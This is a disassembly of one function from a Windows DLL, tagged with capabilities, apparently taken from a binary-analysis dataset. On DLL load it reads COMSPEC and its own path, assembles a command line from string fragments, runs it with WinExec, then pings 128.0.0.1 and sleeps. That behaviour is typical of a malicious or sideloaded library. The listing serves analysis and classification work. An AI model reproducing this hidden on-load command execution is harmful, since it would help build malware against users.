Function at 0x10001000
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1418
call fcn.100028f0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x208
push 0x100053d8
push 0x10003118
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jbe 0x10001163
push 0x10001af0
push 0x100053d8
push str.COMSPEC
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call fcn.10001800
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
push 0x104
push 0x100055e0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x140c], eax
cmp dword [ebp - 0x140c], 0
jne 0x10001089
xor eax, eax
jmp 0x100012eb
mov ecx, dword [ebp - 0x140c]
sub ecx, 1
mov dword [ebp - 0x1408], ecx
jmp 0x100010a9
mov edx, dword [ebp - 0x1408]
sub edx, 1
mov dword [ebp - 0x1408], edx
cmp dword [ebp - 0x1408], 0
jle 0x10001161
mov eax, dword [ebp - 0x1408]
movzx ecx, word [eax*2 + 0x100055e0]
cmp ecx, 0x5c
jne 0x1000112c
mov edx, dword [ebp - 0x1408]
lea eax, [edx + edx + 2]
mov dword [ebp - 0x1410], eax
cmp dword [ebp - 0x1410], 0x208
jae 0x100010e7
jmp 0x100010ec
call fcn.10001c53
xor ecx, ecx
mov edx, dword [ebp - 0x1410]
mov word [edx + 0x100055e0], cx
push 0x10001af0
push 0x100055e0
push str.CometoBreak
mov eax, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push eax
call fcn.10001800
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___void_const__]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x10001161
push 0x10001af0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.For_back_.ERRIR
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push ecx
call fcn.10001800
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
jmp 0x1000109a
jmp 0x1000119a
push 0x10001af0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.NO_Cmd_.ERRIR
mov edx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
push edx
call fcn.10001800
add esp, 8
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
xor eax, eax
jmp 0x100012eb
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1414], eax
cmp dword [ebp - 0x1414], 1
je 0x100011b1
jmp 0x100012e6
push 0x800
push 0
lea ecx, [ebp - 0x1404]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x10003164
push 0x10003168
push str.KwAni
push 0x100055e0
push 0x10003174
push 0x10003178
push 0x10003184
push 0x10003188
push 0x100055e0
push 0x10003198
push 0x1000319c
push 0x100031ac
push 0x100031b0
push 0x100055e0
push 0x100031c4
push 0x100031c8
push str._s_s_s_s_s_s_s_s_s_s_s_s_s_s_s_s
lea edx, [ebp - 0x1404]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x48
push 0x800
push 0
lea eax, [ebp - 0xc04]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x1404]
push ecx
push 0x100053d8
push str._s_s
lea edx, [ebp - 0xc04]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push 0x400
push 0
lea eax, [ebp - 0x404]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
lea ecx, [ebp - 0xc04]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp - 0x1418], eax
push 0
push 0
mov edx, dword [ebp - 0x1418]
push edx
lea eax, [ebp - 0x404]
push eax
push 0xffffffffffffffff
lea ecx, [ebp - 0xc04]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0
lea edx, [ebp - 0x404]
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push str.ping_128.0.0.1
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0xdcd
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10001b23
mov esp, ebp
pop ebp
ret 0xc